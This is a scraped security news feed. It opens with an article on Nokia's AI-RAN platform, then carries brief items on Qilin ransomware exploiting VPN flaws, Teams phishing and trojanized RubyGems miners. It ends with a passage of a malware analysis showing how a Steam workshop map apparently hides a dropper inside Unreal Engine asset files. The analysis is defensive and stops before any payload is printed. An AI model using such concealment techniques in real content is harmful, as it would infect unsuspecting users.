<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware groups are hammering your vulnerable VPNs]]></title>
<description><![CDATA[Cybercriminals are actively exploiting a recently discovered vulnerability in Palo Alto Networks firewall and VPN appliances to deploy the Qilin ransomware strain.



A critical authentication bypass flaw (CVE-2026-0257) in Palo Alto GlobalProtect portal and gateway was the common link in a serie...]]></description>
<link>https://tsecurity.de/de/3690892/it-security-nachrichten/ransomware-groups-are-hammering-your-vulnerable-vpns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690892/it-security-nachrichten/ransomware-groups-are-hammering-your-vulnerable-vpns/</guid>
<pubDate>Fri, 24 Jul 2026 09:10:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Cybercriminals are actively exploiting a recently discovered vulnerability in Palo Alto Networks firewall and VPN appliances to deploy the Qilin <a href="https://www.csoonline.com/article/563507/what-is-ransomware-how-it-works-and-how-to-remove-it.html">ransomware</a> strain.</p>



<p class="wp-block-paragraph">A critical authentication bypass flaw (<a href="https://nvd.nist.gov/vuln/detail/cve-2026-0257">CVE-2026-0257</a>) in Palo Alto GlobalProtect portal and gateway was the common link in a series of intrusions in June, Arctic Wolf Labs warns. Exploitation of the vulnerability <a href="https://www.csoonline.com/article/4179847/attackers-exploit-palo-alto-globalprotect-flaw-days-after-disclosure.html">came within days of disclosure</a>.</p>



<p class="wp-block-paragraph">“Post-exploitation tradecraft varied across intrusions, from rapid encryption-only operations to full double-extortion, possibly suggesting multiple affiliates operating under the Qilin ransomware-as-a-service (RaaS) umbrella,” Arctic Wolf’s researchers <a href="https://arcticwolf.com/resources/blog/exploitation-of-cve-2026-0257-leads-to-qilin-ransomware/">wrote in a post on the threat</a>.</p>



<p class="wp-block-paragraph">The campaign against Palo Alto’s VPN client is part of a rising trend that sees ransomware groups increasingly targeting vulnerabilities in network edge tools and devices.</p>



<h2 class="wp-block-heading">Ransomware takes aim at the edge</h2>



<p class="wp-block-paragraph">Beyond GlobalProtect, <a href="https://www.csoonline.com/article/4079316/cross-platform-ransomware-qilin-weaponizes-linux-binaries-against-windows-hosts.html">Qilin</a> — the most active threat group in Q2 2026, responsible for 14% of attacks, according to <a href="https://www.nccgroup.com/resource-hub/cyber-threat-intelligence-reports/">NCC Group’s latest Quarterly Cyber Threat Intelligence Report</a> —  has also targeted flaws in Fortinet’s FortiGate, Citrix NetScaler, and Check Point Remote Access VPN.</p>



<p class="wp-block-paragraph">Check Point warned in June of <a href="https://www.csoonline.com/article/4182898/check-point-warns-of-ransomware-linked-attacks-exploiting-outdated-vpn-protocol.html">ransomware attacks against VPNs</a> that still use the deprecated Internet Key Exchange version 1 (IKEv1) protocol. Citrix issued patches in early July for a <a href="https://www.csoonline.com/article/4192741/new-citrixbleed-like-netscaler-flaw-sees-exploit-attempts-in-the-wild.html">CitrixBleed-like flaw</a> in its NetScalar devices that had come under attack.</p>



<p class="wp-block-paragraph">Meanwhile, Fortibleed, a massive credential-compromise campaign, <a href="https://www.csoonline.com/article/4186790/fortibleed-campaign-exposes-75000-fortinet-firewalls-worldwide.html">exposed 75,000 FortiGate firewalls in June</a>.  </p>



<p class="wp-block-paragraph">Qilin is by no means alone in increasing its operations against VPNs and other network security tools.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4178580/the-gentlemen-are-coming-for-your-files-and-then-your-network.html">The Gentlemen</a>, No. 2 on NCC Group’s list with 238 victims in Q2 2026, is noted for breaking into organizations through firewalls, VPNs, and other internet-exposed systems — FortiGate and Cisco products in particular.</p>



<p class="wp-block-paragraph">Akira, No. 4 on NCC Group’s list (127 victims), is also known for exploiting VPN vulnerabilities and abusing legitimate credentials, primarily versus <a href="https://www.twinstrata.com/news/akira-ransomware/">products from Ivanti, Cisco, and Fortinet</a>.</p>



<h2 class="wp-block-heading">In the line of fire</h2>



<p class="wp-block-paragraph">Network edge security devices are becoming security liabilities for enterprise security professionals, with an alarming rise in zero-day exploits arising from what experts describe as <a href="https://www.csoonline.com/article/4074945/network-security-devices-endanger-orgs-with-90s-era-flaws.html">basic and readily preventable vulnerabilities</a>.</p>



<p class="wp-block-paragraph">A range of attackers spanning opportunistic hackers to ransomware-as-a-service operators and nation-state sponsored APT (advanced persistent threat) groups are actively exploiting software vulnerabilities in edge devices to hack into corporate networks.</p>



<p class="wp-block-paragraph">“Although there has not been a material rise in ransomware volume in the last quarter, the trajectory of attacks continues upwards, and VPNs remain an increasingly attractive target,” said Matt Hull, VP and head of cyber intelligence and response at NCC Group.</p>



<p class="wp-block-paragraph">Unpatched vulnerabilities in edge devices are far from the only software bugs fueling ransomware attacks. For example, last year the <a href="https://www.csoonline.com/article/4068379/oracle-issues-emergency-patch-for-zero-day-flaw-exploited-by-cl0p-ransomware-gang.html">Clop ransomware gang hacked hundreds of companies</a> by exploiting zero-day vulnerabilities in Oracle’s E-Business Suite software.</p>



<h2 class="wp-block-heading">Edge of darkness</h2>



<p class="wp-block-paragraph">VPNs and other internet-facing edge devices remain prime targets for ransomware operators because they provide a direct route into an organization’s network.</p>



<p class="wp-block-paragraph">“Attackers may exploit an unpatched vulnerability, use stolen credentials, or target weak authentication controls,” said Alexander Leslie, a senior advisor at cyber threat intelligence firm Recorded Future. “In some cases, exploitation begins before organizations have had sufficient time to apply vendor guidance, leaving security teams with a very narrow window to respond.”</p>



<p class="wp-block-paragraph">VPN exploitation sits alongside other initial access methods, such as phishing, compromised credentials, or software supply chain attacks. The preferred attacker infiltration method varies by campaign and sector but locating security in edge devices carry particular advantages from the perspective of attackers.</p>



<p class="wp-block-paragraph">“Vulnerabilities in perimeter devices are particularly valuable to attackers because those systems are continuously exposed to the internet and can provide privileged access while bypassing some endpoint controls,” said Leslie.</p>



<p class="wp-block-paragraph">Dray Agha, senior manager of security operations at managed detection and response firm Huntress, backed up this assessment that exploiting internet-facing VPNs and edge devices remains the “dominant, volume-driven tactic” for ransomware operators because these appliances offer a “direct, publicly accessible gateway straight into the heart of corporate networks.”</p>



<p class="wp-block-paragraph">Rather than exploiting vulnerabilities in edge devices, attackers more commonly use internet-facing gateways as a means to abuse stolen credentials to break into corporate networks, according to Huntress.</p>



<p class="wp-block-paragraph">“What we see at Huntress is that the VPN is the site of initial access some 70% of the time, for advanced threat actors,” said Agha. “Overwhelmingly, however, they are not exploiting for access; rather they are using stolen credentials to authenticate to non-MFA’d [multi-factor authentication] user accounts.”</p>



<h2 class="wp-block-heading">Hardened perimeter</h2>



<p class="wp-block-paragraph">CSOs should treat their network perimeter as hostile territory by enforcing aggressive patch management, applying critical edge device updates within 24 to 48 hours, and mandating strict MFA for all access.</p>



<p class="wp-block-paragraph">Implementing zero-trust network segmentation to trap attackers and prevent lateral movement if the initial gateway is compromised also helps in making enterprise networks more resilient against attacks, Huntress’ Agha advised.</p>



<p class="wp-block-paragraph">Phishing-resistant multi-factor authentication, removal of unsupported systems, and close monitoring for unusual authentication or administrative activity also form key components in attack impact mitigation.</p>



<p class="wp-block-paragraph">Internet-facing assets that are known to be actively exploited should be prioritized as a patching priority.</p>



<p class="wp-block-paragraph">“Threat intelligence and evidence of active exploitation should help determine which vulnerabilities demand immediate action,” Recorded Future’s Leslie said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Warns Phishing Attacks Are Moving Beyond Email Into Workplace Communication Tools]]></title>
<description><![CDATA[Microsoft has warned that phishing operators are increasingly targeting workplace communication platforms such as Microsoft Teams, using chat messages and voice calls to exploit the trust employees place in internal collaboration tools. While email remains the primary initial-access channel, Team...]]></description>
<link>https://tsecurity.de/de/3690846/it-security-nachrichten/microsoft-warns-phishing-attacks-are-moving-beyond-email-into-workplace-communication-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690846/it-security-nachrichten/microsoft-warns-phishing-attacks-are-moving-beyond-email-into-workplace-communication-tools/</guid>
<pubDate>Fri, 24 Jul 2026 08:41:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft has warned that phishing operators are increasingly targeting workplace communication platforms such as Microsoft Teams, using chat messages and voice calls to exploit the trust employees place in internal collaboration tools. While email remains the primary initial-access channel, Teams-based social engineering and voice phishing surged during the second quarter of 2026 Microsoft Threat Intelligence […]</p>
<p>The post <a href="https://cyberpress.org/workplace-tools-face-phishing/">Microsoft Warns Phishing Attacks Are Moving Beyond Email Into Workplace Communication Tools</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Malicious RubyGems Turn Developer Machines Into Monero Miners and Spread Through SSH]]></title>
<description><![CDATA[A malicious RubyGems campaign has turned seemingly useful developer packages into tools for hidden cryptocurrency mining. The poisoned packages can consume a machine’s computing power, slow down development work, and quietly generate Monero for the attackers. The campaign also goes beyond a typic...]]></description>
<link>https://tsecurity.de/de/3690797/it-security-nachrichten/malicious-rubygems-turn-developer-machines-into-monero-miners-and-spread-through-ssh/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690797/it-security-nachrichten/malicious-rubygems-turn-developer-machines-into-monero-miners-and-spread-through-ssh/</guid>
<pubDate>Fri, 24 Jul 2026 08:09:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A malicious RubyGems campaign has turned seemingly useful developer packages into tools for hidden cryptocurrency mining. The poisoned packages can consume a machine’s computing power, slow down development work, and quietly generate Monero for the attackers. The campaign also goes beyond a typical package-based infection. One set of malicious gems can examine a compromised developer […]</p>
<p>The post <a href="https://cybersecuritynews.com/malicious-rubygems-developer-machines/">Malicious RubyGems Turn Developer Machines Into Monero Miners and Spread Through SSH</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA['The lines between work and personal time have become increasingly blurred': Report claims UK workers are among the most "always-on" in the world — even when sick]]></title>
<description><![CDATA[UK employees seem to be addicted to work, with over 50% actively performing work-related tasks beyond their contracted hours or when off sick]]></description>
<link>https://tsecurity.de/de/3690788/it-nachrichten/the-lines-between-work-and-personal-time-have-become-increasingly-blurred-report-claims-uk-workers-are-among-the-most-always-on-in-the-world-even-when-sick/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690788/it-nachrichten/the-lines-between-work-and-personal-time-have-become-increasingly-blurred-report-claims-uk-workers-are-among-the-most-always-on-in-the-world-even-when-sick/</guid>
<pubDate>Fri, 24 Jul 2026 08:03:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[UK employees seem to be addicted to work, with over 50% actively performing work-related tasks beyond their contracted hours or when off sick]]></content:encoded>
</item>
<item>
<title><![CDATA[136 Malicious RubyGems Packages Deploy XMRig Miner and Spread via SSH]]></title>
<description><![CDATA[A large-scale supply chain attack has flooded RubyGems with 136 trojanized packages that deploy an XMRig Monero miner and self-propagate via SSH, underscoring systemic weaknesses in language ecosystems beyond npm and PyPI. On July 22, 2026, researchers Moe Ghasemisharif, Ruian…
Read more →
The po...]]></description>
<link>https://tsecurity.de/de/3690742/it-security-nachrichten/136-malicious-rubygems-packages-deploy-xmrig-miner-and-spread-via-ssh/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690742/it-security-nachrichten/136-malicious-rubygems-packages-deploy-xmrig-miner-and-spread-via-ssh/</guid>
<pubDate>Fri, 24 Jul 2026 07:15:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A large-scale supply chain attack has flooded RubyGems with 136 trojanized packages that deploy an XMRig Monero miner and self-propagate via SSH, underscoring systemic weaknesses in language ecosystems beyond npm and PyPI. On July 22, 2026, researchers Moe Ghasemisharif, Ruian…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/136-malicious-rubygems-packages-deploy-xmrig-miner-and-spread-via-ssh/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/136-malicious-rubygems-packages-deploy-xmrig-miner-and-spread-via-ssh/">136 Malicious RubyGems Packages Deploy XMRig Miner and Spread via SSH</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[136 Malicious RubyGems Packages Deploy XMRig Miner and Spread via SSH]]></title>
<description><![CDATA[A large-scale supply chain attack has flooded RubyGems with 136 trojanized packages that deploy an XMRig Monero miner and self-propagate via SSH, underscoring systemic weaknesses in language ecosystems beyond npm and PyPI. On July 22, 2026, researchers Moe Ghasemisharif, Ruian Duan, Zhanhao Chen,...]]></description>
<link>https://tsecurity.de/de/3690722/it-security-nachrichten/136-malicious-rubygems-packages-deploy-xmrig-miner-and-spread-via-ssh/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690722/it-security-nachrichten/136-malicious-rubygems-packages-deploy-xmrig-miner-and-spread-via-ssh/</guid>
<pubDate>Fri, 24 Jul 2026 06:59:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A large-scale supply chain attack has flooded RubyGems with 136 trojanized packages that deploy an XMRig Monero miner and self-propagate via SSH, underscoring systemic weaknesses in language ecosystems beyond npm and PyPI. On July 22, 2026, researchers Moe Ghasemisharif, Ruian Duan, Zhanhao Chen, and Daiping Liu documented a coordinated cryptojacking campaign abusing RubyGems as the […]</p>
<p>The post <a href="https://gbhackers.com/136-malicious-rubygems-packages/">136 Malicious RubyGems Packages Deploy XMRig Miner and Spread via SSH</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Best practices for applying Amazon Bedrock Guardrails to code generation workflows]]></title>
<description><![CDATA[In this post, we explain how Amazon Bedrock Guardrails can be configured for code generation workflows with coding assistants to overcome these constraints. With these best practices, you can build an efficient blueprint helping you with effective capacity planning with robust safety coverage.]]></description>
<link>https://tsecurity.de/de/3690431/ai-nachrichten/best-practices-for-applying-amazon-bedrock-guardrails-to-code-generation-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690431/ai-nachrichten/best-practices-for-applying-amazon-bedrock-guardrails-to-code-generation-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 01:23:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we explain how Amazon Bedrock Guardrails can be configured for code generation workflows with coding assistants to overcome these constraints. With these best practices, you can build an efficient blueprint helping you with effective capacity planning with robust safety coverage.]]></content:encoded>
</item>
<item>
<title><![CDATA[Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)]]></title>
<description><![CDATA[Table of Contents  Intro Initial Symptom First Look at the Workshop Files Verifying the Asset Files AssetRegistry.bin Reveals the First Clue Opening the UE5 Asset Container Reverse Engineering the Blueprint Extracting the Embedded Payload Analyzing the Dropper Script Confirming Execution on an Af...]]></description>
<link>https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</guid>
<pubDate>Fri, 24 Jul 2026 00:21:11 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Table of Contents</h1> <ul> <li>Intro</li> <li>Initial Symptom</li> <li>First Look at the Workshop Files</li> <li>Verifying the Asset Files</li> <li>AssetRegistry.bin Reveals the First Clue</li> <li>Opening the UE5 Asset Container</li> <li>Reverse Engineering the Blueprint</li> <li>Extracting the Embedded Payload</li> <li>Analyzing the Dropper Script</li> <li>Confirming Execution on an Affected PC</li> <li>Did the Second Stage Execute?</li> <li>Analysis Summary</li> <li>Limitations &amp; Unknowns</li> <li>IOCs</li> <li>Final verdict</li> </ul> <p>A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.</p> <p>What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.</p> <p>I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.</p> <p><a href="https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51">https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51</a></p> <p><strong>1): The Initial Symptom</strong></p> <p>A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.</p> <p><strong>2): First Look at the Workshop Files</strong></p> <p>The workshop content is located here:</p> <pre><code>Steam\steamapps\workshop\content\4704690\3765145606\ </code></pre> <p>At first glance, there’s nothing suspicious in the folder. The contents are:</p> <pre><code>AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc </code></pre> <p>There are no executables, DLLs, batch files, or scripts. The <code>.pak</code>, <code>.ucas</code>, and <code>.utoc</code> files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.</p> <p>This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.</p> <p><strong>3): Verifying the Asset Files</strong></p> <p>File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.</p> <p>The results:</p> <ul> <li>utoc starts with <code>-==--==--==--==-</code>, which is the real IoStore magic</li> <li>pak has the correct <code>0x5A6F12E1</code> footer magic</li> <li>no MZ/PE, ELF or ZIP headers anywhere in any file</li> </ul> <p>The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.</p> <p><strong>4): AssetRegistry.bin Reveals the First Clue</strong></p> <p>This is the detail that stands out most from the entire investigation.</p> <p>AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.</p> <p>However, one Blueprint actor immediately stands out:</p> <pre><code>/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 </code></pre> <p>Its class resolves as:</p> <pre><code>BP_AmbientController_C </code></pre> <p>Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.</p> <p>In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.</p> <p>That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.</p> <p>The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.</p> <p><strong>5): Opening the UE5 Asset Container</strong></p> <p>The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:</p> <pre><code>chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed </code></pre> <p>No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible 